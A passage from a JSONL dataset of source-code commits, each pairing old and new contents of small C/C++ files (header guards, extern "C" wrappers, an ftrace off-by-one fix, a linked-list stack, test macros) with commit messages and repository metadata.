\"..\/MeterWnd\/MeterWnd.h\"\n#include \"..\/Settings.h\"\n#include \"..\/Window.h\"\n#include \"OSDType.h\"\n\nclass Monitor;\n\nclass OSD : HotkeyProcessor, protected Window {\npublic:\n    OSD(LPCWSTR className, HINSTANCE hInstance = NULL);\n\n    virtual void Hide() = 0;\n    virtual void ProcessHotkeys(HotkeyInfo &hki);\n\n    bool Enabled();\n    void Enabled(bool enabled);\n\n    \/\/\/ <summary>\n    \/\/\/ This method is called when the system display configuration has changed,\n    \/\/\/ which includes monitors being removed or plugged in.\n    \/\/\/ <\/summary>\n    virtual void OnDisplayChange() = 0;\n\nprotected:\n    HWND _masterWnd;\n    Settings *_settings;\n\n    void HideOthers(OSDType except);\n\n    void InitMeterWnd(MeterWnd &mWnd);\n\n    std::vector<Monitor> ActiveMonitors();\n    void PositionWindow(Monitor monitor, LayeredWnd &lWnd);\n    void CenterWindowX(Monitor monitor, LayeredWnd &lWnd);\n    void CenterWindowY(Monitor monitor, LayeredWnd &lWnd);\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n\nprivate:\n    bool _enabled;\n};","subject":"Add the interface method for OnDisplayChange","message":"Add the interface method for OnDisplayChange\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"5d35cd534b02e5eee6d579a2af3b3cdc86b8de94","old_file":"common\/user\/capi.h","new_file":"common\/user\/capi.h","old_contents":"\/\/ Harshad Kasture\n\/\/\n\/\/ This file declares the user level message passing functions used in multithreaded applications \n\/\/ for the multicore simulator.\n\n#ifndef CAPI_H\n#define CAPI_H\n\ntypedef int CAPI_return_t;\n\ntypedef int CAPI_endpoint_t;\n\n\/\/ externed so the names don't get name-mangled\n\/\/extern \"C\" {\n\n   CAPI_return_t CAPI_Initialize(int *rank);\n\n   CAPI_return_t CAPI_rank(int * rank);\n\n   CAPI_return_t CAPI_message_send_w(CAPI_endpoint_t send_endpoint, CAPI_endpoint_t receive_endpoint, \n                                     char * buffer, int size);\n\n   CAPI_return_t CAPI_message_receive_w(CAPI_endpoint_t send_endpoint, CAPI_endpoint_t receive_endpoint, \n                                        char * buffer, int size);\n\/\/}\n\n#endif\n","new_contents":"\/\/ Harshad Kasture\n\/\/\n\/\/ This file declares the user level message passing functions used in multithreaded applications \n\/\/ for the multicore simulator.\n\n#ifndef CAPI_H\n#define CAPI_H\n\ntypedef int CAPI_return_t;\n\ntypedef int CAPI_endpoint_t;\n\n#ifdef __cplusplus\n\/\/ externed so the names don't get name-mangled\nextern \"C\" {\n#endif\n\n   CAPI_return_t CAPI_Initialize(int *rank);\n\n   CAPI_return_t CAPI_rank(int * rank);\n\n   CAPI_return_t CAPI_message_send_w(CAPI_endpoint_t send_endpoint, CAPI_endpoint_t receive_endpoint, \n                                     char * buffer, int size);\n\n   CAPI_return_t CAPI_message_receive_w(CAPI_endpoint_t send_endpoint, CAPI_endpoint_t receive_endpoint, \n                                        char * buffer, int size);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add guarded 'extern \"C\"' attributes so that this header files can be used from both C and C++ programs.","message":"Add guarded 'extern \"C\"' attributes so that this header files can\n be used from both C and C++ programs.\n","lang":"C","license":"mit","repos":"victorisildur\/Graphite,mit-carbon\/Graphite-Cycle-Level,fhijaz\/Graphite,8l\/Graphite,mit-carbon\/Graphite,mit-carbon\/Graphite,victorisildur\/Graphite,8l\/Graphite,fhijaz\/Graphite,mit-carbon\/Graphite-Cycle-Level,victorisildur\/Graphite,nkawahara\/Graphite,nkawahara\/Graphite,mit-carbon\/Graphite,nkawahara\/Graphite,nkawahara\/Graphite,8l\/Graphite,fhijaz\/Graphite,8l\/Graphite,mit-carbon\/Graphite-Cycle-Level,mit-carbon\/Graphite,mit-carbon\/Graphite-Cycle-Level,victorisildur\/Graphite,fhijaz\/Graphite"}
{"commit":"5686bec1d4979f9c75b05bd65d9db2f24c621245","old_file":"client\/loop.c","new_file":"client\/loop.c","old_contents":"#include <stdio.h>\n#include <sys\/select.h>\n\n\/* pselect loop test *\/\nint main(int argc, char *argv[])\n{\n\tstruct timespec timeout;\n\tfd_set readfds;\n\tint fdcount;\n\n\twhile(1){\n\t\tFD_ZERO(&readfds);\n\t\tFD_SET(0, &readfds);\n\t\ttimeout.tv_sec = 1;\n\t\ttimeout.tv_nsec = 0;\n\n\t\tfdcount = pselect(1, &readfds, NULL, NULL, &timeout, NULL);\n\t\tprintf(\"loop %d\\n\", fdcount);\n\t}\n\treturn 0;\n}\n\n","new_contents":"#include <stdio.h>\n#include <sys\/select.h>\n\n\/* pselect loop test *\/\nint main(int argc, char *argv[])\n{\n\tstruct timespec timeout;\n\tfd_set readfds;\n\tint fdcount;\n\tchar buf[1024];\n\n\twhile(1){\n\t\tFD_ZERO(&readfds);\n\t\tFD_SET(0, &readfds);\n\t\ttimeout.tv_sec = 1;\n\t\ttimeout.tv_nsec = 0;\n\n\t\tfdcount = pselect(1, &readfds, NULL, NULL, &timeout, NULL);\n\t\tprintf(\"loop %d\\n\", fdcount);\n\n\t\tif(FD_ISSET(0, &readfds)){\n\t\t\tread(0, buf, 1024);\n\t\t\tprintf(\"buf: %s\\n\", buf);\n\t\t}\n\t}\n\treturn 0;\n}\n\n","subject":"Watch for input from stdin and print it.","message":"Watch for input from stdin and print it.\n","lang":"C","license":"bsd-3-clause","repos":"tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto"}
{"commit":"619709fe771f9da087c2423331b0195f8e2bee91","old_file":"event\/event_system.h","new_file":"event\/event_system.h","old_contents":"","new_contents":"#ifndef\tEVENT_SYSTEM_H\n#define\tEVENT_SYSTEM_H\n\n#include <event\/event_thread.h>\n\n\/*\n * XXX\n * This is kind of an awful shim while we move\n * towards something thread-oriented.\n *\/\n\nclass EventSystem {\n\tEventThread td_;\nprivate:\n\tEventSystem(void)\n\t: td_()\n\t{ }\n\n\t~EventSystem()\n\t{ }\n\npublic:\n\tAction *poll(const EventPoll::Type& type, int fd, EventCallback *cb)\n\t{\n\t\treturn (td_.poll(type, fd, cb));\n\t}\n\n\tAction *register_interest(const EventInterest& interest, Callback *cb)\n\t{\n\t\treturn (td_.register_interest(interest, cb));\n\t}\n\n\tAction *schedule(Callback *cb)\n\t{\n\t\treturn (td_.schedule(cb));\n\t}\n\n\tAction *timeout(unsigned ms, Callback *cb)\n\t{\n\t\treturn (td_.timeout(ms, cb));\n\t}\n\n\tvoid start(void)\n\t{\n\t\ttd_.start();\n\n\t\ttd_.join();\n\t}\n\n\tstatic EventSystem *instance(void)\n\t{\n\t\tstatic EventSystem *instance;\n\n\t\tif (instance == NULL)\n\t\t\tinstance = new EventSystem();\n\t\treturn (instance);\n\t}\n};\n\n#endif \/* !EVENT_SYSTEM_H *\/\n","subject":"Add EventSystem shim missed in r588.","message":"Add EventSystem shim missed in r588.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@589 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"diegows\/wanproxy,splbio\/wanproxy,splbio\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy"}
{"commit":"cd8ae2c486ec2e12f46a5009ff0cebb603093457","old_file":"iree\/tools\/init_translations.h","new_file":"iree\/tools\/init_translations.h","old_contents":"","new_contents":"\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ This file defines a helper to trigger the registration of all translations\n\/\/ in and out of MLIR to the system.\n\/\/\n\/\/ Based on MLIR's InitAllTranslations but without translations we don't care\n\/\/ about.\n\n#ifndef IREE_TOOLS_INIT_TRANSLATIONS_H_\n#define IREE_TOOLS_INIT_TRANSLATIONS_H_\n\nnamespace mlir {\n\nvoid registerFromLLVMIRTranslation();\nvoid registerToLLVMIRTranslation();\nvoid registerToSPIRVTranslation();\n\n\/\/ This function should be called before creating any MLIRContext if one\n\/\/ expects all the possible translations to be made available to the context\n\/\/ automatically.\ninline void registerMlirTranslations() {\n  static bool init_once = []() {\n    registerFromLLVMIRTranslation();\n    registerToLLVMIRTranslation();\n    registerToSPIRVTranslation();\n    return true;\n  }();\n  (void)init_once;\n}\n}  \/\/ namespace mlir\n\n#endif  \/\/ IREE_TOOLS_INIT_TRANSLATIONS_H_\n","subject":"Implement forked registerAllTranslations() as registerMlirTranslations()","message":"Implement forked registerAllTranslations() as registerMlirTranslations()\n\nWith https:\/\/reviews.llvm.org\/D77515, the need for static global ctors is removed from `mlir-translate` and thus can be also removed from `iree-translate`. This already forks the header file `mlir\/include\/mlir\/InitAllTranslations.h` and removes translations not used so far within IREE.\n\nCloses https:\/\/github.com\/google\/iree\/pull\/1395\n\nCOPYBARA_INTEGRATE_REVIEW=https:\/\/github.com\/google\/iree\/pull\/1395 from iml130:init_translations b7688209ed86e78ef1ac19fde17eb1d5e172a21c\nPiperOrigin-RevId: 305148353\n","lang":"C","license":"apache-2.0","repos":"google\/iree,google\/iree,iree-org\/iree,google\/iree,iree-org\/iree,google\/iree,iree-org\/iree,iree-org\/iree,google\/iree,iree-org\/iree,iree-org\/iree,iree-org\/iree,google\/iree,google\/iree"}
{"commit":"2bbfb4564380f9e14b2056ad6cc3224927456430","old_file":"stack_linked.c","new_file":"stack_linked.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\ntypedef struct Node{\n\tint val;\n\tstruct Node *next;\n}Node;\n\nNode* Push(Node *p, int val){\n\tNode *temp = (struct Node*)malloc(sizeof(struct Node));\n\ttemp->val = val;\n\ttemp->next = p;\n\tp = temp;\n\treturn p;\n}\n\nvoid Pop(Node *p){\n\tif(p == NULL)\n\t\treturn;\n\tprintf(\"%p\\n\",p);\n\tNode *temp = p;\n\tp = p->next;\n\tprintf(\"%p\\n\",p);\n\tfree(temp);\n\tprintf(\"%p\\n\",temp);\n}\n\nvoid PRINT(Node *p){\n\tNode *temp = p;\n\twhile(temp != NULL){\n\t\tprintf(\"%d \",temp->val);\n\t\ttemp = \ttemp->next;\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(){\n\tNode *head = NULL;\n\thead = Push(head,3);\n\thead = Push(head,6);\n\thead = Push(head,2);\n\thead = Push(head,1);\n\thead = Push(head,9);\n\tPRINT(head);\n\thead = Pop(head);\n\thead = Pop(head);\n\thead = Pop(head);\n\tPRINT(head);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\ntypedef struct Node{\n\tint val;\n\tstruct Node *next;\n}Node;\n\nNode* Push(Node *p, int val){\n\tNode *temp = (struct Node*)malloc(sizeof(struct Node));\n\ttemp->val = val;\n\ttemp->next = p;\n\tp = temp;\n\treturn p;\n}\n\nNode* Pop(Node *p){\n\tif(p == NULL)\n\t\treturn;\n\tNode *temp = p;\n\tp = p->next;\n\tfree(temp);\n\treturn p;\n}\n\nvoid PRINT(Node *p){\n\tNode *temp = p;\n\twhile(temp != NULL){\n\t\tprintf(\"%d \",temp->val);\n\t\ttemp = \ttemp->next;\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(){\n\tNode *head = NULL;\n\thead = Push(head,3);\n\thead = Push(head,6);\n\thead = Push(head,2);\n\thead = Push(head,1);\n\thead = Push(head,9);\n\tPRINT(head);\n\thead = Pop(head);\n\thead = Pop(head);\n\thead = Pop(head);\n\tPRINT(head);\n}\n","subject":"Implement stack with single linked list","message":"Implement stack with single linked list\n","lang":"C","license":"apache-2.0","repos":"kmongo\/practice"}
{"commit":"e2f862b2402a270b00334165521a7f838daf9ed1","old_file":"Classes\/MBImageRequest.h","new_file":"Classes\/MBImageRequest.h","old_contents":"\/\/\n\/\/  MBImageRequest.h\n\/\/  MBRequest\n\/\/\n\/\/  Created by Sebastian Celis on 3\/6\/12.\n\/\/  Copyright (c) 2012 Mobiata, LLC. All rights reserved.\n\/\/\n\n#if __IPHONE_OS_VERSION_MIN_REQUIRED\n#import <UIKit\/UIKit.h>\n#elif __MAC_OS_X_VERSION_MIN_REQUIRED\n#import <Cocoa\/Cocoa.h>\n#endif\n\n#import \"MBHTTPRequest.h\"\n\n#if __IPHONE_OS_VERSION_MIN_REQUIRED\ntypedef void (^MBRequestImageCompletionHandler)(UIImage *image, NSError *error);\n#elif __MAC_OS_X_VERSION_MIN_REQUIRED\ntypedef void (^MBRequestImageCompletionHandler)(NSImage *image, NSError *error);\n#endif\n\n@interface MBImageRequest : MBHTTPRequest\n\n\/\/ The image returned in the response.\n@property (atomic, retain, readonly) UIImage *responseImage;\n\n\/\/ Performs a basic request and notifies the caller with any data downloaded.\n- (void)performImageRequest:(NSURLRequest *)request completionHandler:(MBRequestImageCompletionHandler)completionHandler;\n\n\/\/ The callback for image requests.\n@property (nonatomic, copy, readonly) MBRequestImageCompletionHandler imageCompletionHandler;\n\n@end\n","new_contents":"\/\/\n\/\/  MBImageRequest.h\n\/\/  MBRequest\n\/\/\n\/\/  Created by Sebastian Celis on 3\/6\/12.\n\/\/  Copyright (c) 2012 Mobiata, LLC. All rights reserved.\n\/\/\n\n#if __IPHONE_OS_VERSION_MIN_REQUIRED\n#import <UIKit\/UIKit.h>\n#elif __MAC_OS_X_VERSION_MIN_REQUIRED\n#import <Cocoa\/Cocoa.h>\n#endif\n\n#import \"MBHTTPRequest.h\"\n\n#if __IPHONE_OS_VERSION_MIN_REQUIRED\ntypedef void (^MBRequestImageCompletionHandler)(UIImage *image, NSError *error);\n#elif __MAC_OS_X_VERSION_MIN_REQUIRED\ntypedef void (^MBRequestImageCompletionHandler)(NSImage *image, NSError *error);\n#endif\n\n@interface MBImageRequest : MBHTTPRequest\n\n\/\/ The image returned in the response.\n#if __IPHONE_OS_VERSION_MIN_REQUIRED\n@property (atomic, retain, readonly) UIImage *responseImage;\n#elif __MAC_OS_X_VERSION_MIN_REQUIRED\n@property (atomic, retain, readonly) NSImage *responseImage;\n#endif\n\n\/\/ Performs a basic request and notifies the caller with any data downloaded.\n- (void)performImageRequest:(NSURLRequest *)request completionHandler:(MBRequestImageCompletionHandler)completionHandler;\n\n\/\/ The callback for image requests.\n@property (nonatomic, copy, readonly) MBRequestImageCompletionHandler imageCompletionHandler;\n\n@end\n","subject":"Fix reference to UIImage when compiled for OS X.","message":"Fix reference to UIImage when compiled for OS X.\n","lang":"C","license":"bsd-3-clause","repos":"mobiata\/MBRequest,gaurav1981\/MBRequest"}
{"commit":"c68e3206862f647117a46a73af76764d750c05bd","old_file":"arch\/sh\/include\/asm\/ftrace.h","new_file":"arch\/sh\/include\/asm\/ftrace.h","old_contents":"#ifndef __ASM_SH_FTRACE_H\n#define __ASM_SH_FTRACE_H\n\n#ifdef CONFIG_FUNCTION_TRACER\n\n#define MCOUNT_INSN_SIZE\t4 \/* sizeof mcount call *\/\n#define FTRACE_SYSCALL_MAX\t(NR_syscalls - 1)\n\n#ifndef __ASSEMBLY__\nextern void mcount(void);\n\n#define MCOUNT_ADDR\t\t((long)(mcount))\n\n#ifdef CONFIG_DYNAMIC_FTRACE\n#define CALL_ADDR\t\t((long)(ftrace_call))\n#define STUB_ADDR\t\t((long)(ftrace_stub))\n#define GRAPH_ADDR\t\t((long)(ftrace_graph_call))\n#define CALLER_ADDR\t\t((long)(ftrace_caller))\n\n#define MCOUNT_INSN_OFFSET\t((STUB_ADDR - CALL_ADDR) - 4)\n#define GRAPH_INSN_OFFSET\t((CALLER_ADDR - GRAPH_ADDR) - 4)\n\nstruct dyn_arch_ftrace {\n\t\/* No extra data needed on sh *\/\n};\n\n#endif \/* CONFIG_DYNAMIC_FTRACE *\/\n\nstatic inline unsigned long ftrace_call_adjust(unsigned long addr)\n{\n\t\/* 'addr' is the memory table address. *\/\n\treturn addr;\n}\n\n#endif \/* __ASSEMBLY__ *\/\n#endif \/* CONFIG_FUNCTION_TRACER *\/\n\n#endif \/* __ASM_SH_FTRACE_H *\/\n","new_contents":"#ifndef __ASM_SH_FTRACE_H\n#define __ASM_SH_FTRACE_H\n\n#ifdef CONFIG_FUNCTION_TRACER\n\n#define MCOUNT_INSN_SIZE\t4 \/* sizeof mcount call *\/\n#define FTRACE_SYSCALL_MAX\tNR_syscalls\n\n#ifndef __ASSEMBLY__\nextern void mcount(void);\n\n#define MCOUNT_ADDR\t\t((long)(mcount))\n\n#ifdef CONFIG_DYNAMIC_FTRACE\n#define CALL_ADDR\t\t((long)(ftrace_call))\n#define STUB_ADDR\t\t((long)(ftrace_stub))\n#define GRAPH_ADDR\t\t((long)(ftrace_graph_call))\n#define CALLER_ADDR\t\t((long)(ftrace_caller))\n\n#define MCOUNT_INSN_OFFSET\t((STUB_ADDR - CALL_ADDR) - 4)\n#define GRAPH_INSN_OFFSET\t((CALLER_ADDR - GRAPH_ADDR) - 4)\n\nstruct dyn_arch_ftrace {\n\t\/* No extra data needed on sh *\/\n};\n\n#endif \/* CONFIG_DYNAMIC_FTRACE *\/\n\nstatic inline unsigned long ftrace_call_adjust(unsigned long addr)\n{\n\t\/* 'addr' is the memory table address. *\/\n\treturn addr;\n}\n\n#endif \/* __ASSEMBLY__ *\/\n#endif \/* CONFIG_FUNCTION_TRACER *\/\n\n#endif \/* __ASM_SH_FTRACE_H *\/\n","subject":"Fix an off-by-1 in FTRACE_SYSCALL_MAX.","message":"sh: Fix an off-by-1 in FTRACE_SYSCALL_MAX.\n\nThis is supposed to be the equivalent of __NR_syscalls, not\n__NR_syscalls -1. The x86 code this was based on had simply fallen\nout of sync at the time this was implemented. Fix it up now.\n\nAs a result, tracing of __NR_perf_counter_open works as advertised.\n\nSigned-off-by: Paul Mundt <38b52dbb5f0b63d149982b6c5de788ec93a89032@linux-sh.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"20871640ea94ce3e1c1237d3d266c622624c5319","old_file":"LolayHttpClientGlobals.h","new_file":"LolayHttpClientGlobals.h","old_contents":"\/\/\n\/\/  LolayHttpClientGlobals.h\n\/\/  LolayHttpClientGlobals\n\/\/\n\/\/  Created by Bruce Johnson on 5\/9\/14.\n\/\/  Copyright (c) 2014 Lolay. All rights reserved.\n\/\/\n\n#if DEBUG\n#\tdefine DLog(fmt, ...) NSLog((@\"%s [Line %d] \" fmt), __PRETTY_FUNCTION__, __LINE__, ##__VA_ARGS__)\n#\tdefine NSLog(...) NSLog(__VA_ARGS__)\n#else\n#\tdefine DLog(fmt, ...) {}\n#\tdefine NSLog(...) {}\n#endif\n","new_contents":"\/\/\n\/\/  LolayHttpClientGlobals.h\n\/\/  LolayHttpClientGlobals\n\/\/\n\/\/  Created by Bruce Johnson on 5\/9\/14.\n\/\/  Copyright (c) 2014 Lolay. All rights reserved.\n\/\/\n\n#ifndef DLog\n#if DEBUG\n#\tdefine DLog(fmt, ...) NSLog((@\"%s [Line %d] \" fmt), __PRETTY_FUNCTION__, __LINE__, ##__VA_ARGS__)\n#\tdefine NSLog(...) NSLog(__VA_ARGS__)\n#else\n#\tdefine DLog(fmt, ...) {}\n#\tdefine NSLog(...) {}\n#endif\n#endif \n\n","subject":"Add a check to see if DLog is already defined.","message":"Add a check to see if DLog is already defined.\n","lang":"C","license":"mit","repos":"lolay\/http-client,lolay\/http-client"}
{"commit":"7951b508e2f09bc5f1d886f45c83e751798ce824","old_file":"NumberTheory\/GCD.c","new_file":"NumberTheory\/GCD.c","old_contents":"#include<stdio.h>\n\n\/* CALC GREATEST COMMON DIVISOR BY EUCLIDES ALGORITHM\n * r -> remainder\n * q -> quotient\n *\/   \nint calc_gcd(int n1, int n2, int r, int q){\n    if (r == 0)\n        return n2;\n    return calc_gcd(n2,r,n2 % r, n2 \/ r);\n}\n\n\/* FIRE UP THE FUNCTION GCD \n *\/\nint gcd(int n1, int n2){\n    if ( n1 > n2 )\n        return calc_gcd(n1, n2, n1 % n2, n1 \/ n2);\n    return calc_gcd(n2, n1, n2 % n1, n2 \/ n1);\n}\n\nint main(){\n    int n1=2366, n2=273;\n    printf(\"gcd= %d \",gcd(n1,n2));\n    return 0;\n}\n","new_contents":"#include<stdio.h>\n\n\/* CALC GREATEST COMMON DIVISOR BY EUCLIDES ALGORITHM\n * r -> remainder\n * q -> quotient\n *\/   \nint calc_gcd(int n1, int n2, int r, int q){\n    if (r == 0)\n        return n2;\n    return calc_gcd(n2,r,n2 % r, n2 \/ r);\n}\n\n\/* FIRE UP THE FUNCTION GCD \n *\/\nint gcd(int n1, int n2){\n    if ( n1 > n2 )\n        return calc_gcd(n1, n2, n1 % n2, n1 \/ n2);\n    return calc_gcd(n2, n1, n2 % n1, n2 \/ n1);\n}\n\n\/*\nint main(){\n    int n1=2366, n2=273;\n    printf(\"gcd= %d \",gcd(n1,n2));\n    return 0;\n}\n*\/\n","subject":"Comment the main for import as a library in the function of the least common divisor (LCD)","message":"Comment the main for import as a library in the function of the least common divisor (LCD)\n","lang":"C","license":"mit","repos":"xdanielsb\/Marathon-book,xdanielsb\/Marathon-book,xdanielsb\/Marathon-book,xdanielsb\/Marathon-book,xdanielsb\/Marathon-book"}
{"commit":"ad32b2d00cfcd0fea8547270b0f7c98ea86cb0fb","old_file":"tests\/test_common.h","new_file":"tests\/test_common.h","old_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_TEST_TEST_COMMON_H\n#define VISTK_TEST_TEST_COMMON_H\n\n#define EXPECT_EXCEPTION(exc, code, action)        \\\n  do                                               \\\n  {                                                \\\n    bool got_exception = false;                    \\\n                                                   \\\n    try                                            \\\n    {                                              \\\n      code;                                        \\\n    }                                              \\\n    catch (exc& e)                                 \\\n    {                                              \\\n      got_exception = true;                        \\\n                                                   \\\n      (void)e.what();                              \\\n    }                                              \\\n    catch (std::exception& e)                      \\\n    {                                              \\\n      std::cerr << \"Error: Unexpected exception: \" \\\n                << e.what() << std::endl;          \\\n                                                   \\\n      got_exception = true;                        \\\n    }                                              \\\n                                                   \\\n    if (!got_exception)                            \\\n    {                                              \\\n      std::cerr << \"Error: Did not get \"           \\\n                   \"expected exception when \"      \\\n                << action << std::endl;            \\\n    }                                              \\\n  } while (false)\n\n#endif \/\/ VISTK_TEST_TEST_COMMON_H\n","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_TEST_TEST_COMMON_H\n#define VISTK_TEST_TEST_COMMON_H\n\n#define TEST_ERROR(msg)                         \\\n  do                                            \\\n  {                                             \\\n    std::cerr << \"Error: \" << msg << std::endl; \\\n  } while (false)\n\n#define EXPECT_EXCEPTION(ex, code, action)  \\\n  do                                        \\\n  {                                         \\\n    bool got_exception = false;             \\\n                                            \\\n    try                                     \\\n    {                                       \\\n      code;                                 \\\n    }                                       \\\n    catch (ex& e)                           \\\n    {                                       \\\n      got_exception = true;                 \\\n                                            \\\n      (void)e.what();                       \\\n    }                                       \\\n    catch (std::exception& e)               \\\n    {                                       \\\n      TEST_ERROR(\"Unexpected exception: \"   \\\n                 << e.what());              \\\n                                            \\\n      got_exception = true;                 \\\n    }                                       \\\n                                            \\\n    if (!got_exception)                     \\\n    {                                       \\\n      TEST_ERROR(\"Did not get \"             \\\n                 \"expected exception when \" \\\n                 << action);                \\\n    }                                       \\\n  } while (false)\n\n#endif \/\/ VISTK_TEST_TEST_COMMON_H\n","subject":"Add macro for errors in tests","message":"Add macro for errors in tests\n","lang":"C","license":"bsd-3-clause","repos":"mathstuf\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,Kitware\/sprokit,Kitware\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit"}
{"commit":"ec6236a16d88eae7f079448946cb91b1484f92e5","old_file":"inc\/JsonSerializer.h","new_file":"inc\/JsonSerializer.h","old_contents":"\/\/! \\file\n\n#ifndef JSONSERIALIZER_H\n#define JSONSERIALIZER_H\n\n#include <iostream>\n\n#include \"ArticleCollection.h\"\n\nnamespace WikiWalker\n{\n  \/*! Serialize AricleCollection from and to a custom JSON format\n   *\/\n  class JsonSerializer\n  {\n  public:\n    \/*! Serialize ArticleCollection to JSON in an output stream\n     * \\param a pointer to article to be output\n     * \\param os out stream to putput to.\n     * YOU are responsible for opening and closing the stream\n     *\/\n    void serialize(const ArticleCollection& collection,\n                   std::ostream& outstream);\n  };\n}\n#endif  \/\/ JSONSERIALIZER_H\n","new_contents":"\/\/! \\file\n\n#ifndef WIKIWALKER_JSONSERIALIZER_H\n#define WIKIWALKER_JSONSERIALIZER_H\n\n#include <iostream>\n\n#include \"ArticleCollection.h\"\n\nnamespace WikiWalker\n{\n  \/*! Serialize AricleCollection from and to a custom JSON format\n   *\/\n  class JsonSerializer\n  {\n  public:\n    \/*! Serialize ArticleCollection to JSON in an output stream\n     * \\param a pointer to article to be output\n     * \\param os out stream to putput to.\n     * YOU are responsible for opening and closing the stream\n     *\/\n    void serialize(const ArticleCollection& collection,\n                   std::ostream& outstream);\n  };\n}\n#endif  \/\/ WIKIWALKER_JSONSERIALIZER_H\n","subject":"Apply prefix to include guard","message":"Apply prefix to include guard\n","lang":"C","license":"mit","repos":"dueringa\/WikiWalker"}
{"commit":"b16e10bf8987b6e4278c17bedb552f49bf7e9461","old_file":"inc\/math_container.h","new_file":"inc\/math_container.h","old_contents":"#ifndef MATH_CONTAINER\n#define MATH_CONTAINER\n\n#include <iostream>\n#include <vector>\n#include <complex>\n#include <algorithm> \n#include <cmath>\n \n\/********************************\/\n\/*Find the index during the sort*\/\n\/********************************\/\ntemplate<typename T> class CompareIndicesByAnotherVectorValues\n{\n    const std::vector<T>* values;\n    public:\n    CompareIndicesByAnotherVectorValues(const std::vector<T>* val) : values(val) {}\n    bool operator() (const size_t & a, const size_t & b) const { return (*values)[a] < (*values)[b]; }\n};\n\ntemplate <typename T> \nstd::vector<size_t> sort_indexes(const std::vector<T> &v) \n{\n    \/\/ initialize original index locations\n    std::vector<size_t> idx(v.size());\n    for (size_t i = 0; i != idx.size(); ++i) idx[i] = i;\n   \n    CompareIndicesByAnotherVectorValues<T> idex_comp(&v);\n    \/\/ sort indexes based on comparing values in v\n    std::sort(idx.begin(), idx.end(), idex_comp);\n   \n    return idx;\n}\n\n\/******************************************************\/\n\/*solve the equation cosh(x)=exp(y), input y, return x*\/\n\/******************************************************\/\nstd::complex<double> coshx_eq_expy(double y);\n\n#endif\n","new_contents":"#ifndef MATH_CONTAINER_H\n#define MATH_CONTAINER_H\n\n#include <iostream>\n#include <vector>\n#include <complex>\n#include <algorithm> \n#include <cmath>\n \n\/********************************\/\n\/*Find the index during the sort*\/\n\/********************************\/\ntemplate<typename T> class CompareIndicesByAnotherVectorValues\n{\n    const std::vector<T>* values;\n    public:\n    CompareIndicesByAnotherVectorValues(const std::vector<T>* val) : values(val) {}\n    bool operator() (const size_t & a, const size_t & b) const { return (*values)[a] < (*values)[b]; }\n};\n\ntemplate <typename T> \nstd::vector<size_t> sort_indexes(const std::vector<T> &v) \n{\n    \/\/ initialize original index locations\n    std::vector<size_t> idx(v.size());\n    for (size_t i = 0; i != idx.size(); ++i) idx[i] = i;\n   \n    CompareIndicesByAnotherVectorValues<T> idex_comp(&v);\n    \/\/ sort indexes based on comparing values in v\n    std::sort(idx.begin(), idx.end(), idex_comp);\n   \n    return idx;\n}\n\n\/******************************************************\/\n\/*solve the equation cosh(x)=exp(y), input y, return x*\/\n\/******************************************************\/\nstd::complex<double> coshx_eq_expy(double y);\n\n#endif\n","subject":"Set the header protection to end with _H.","message":"Set the header protection to end with _H.\n","lang":"C","license":"mit","repos":"hshi\/math_lib_hao,hshi\/math_lib_hao"}
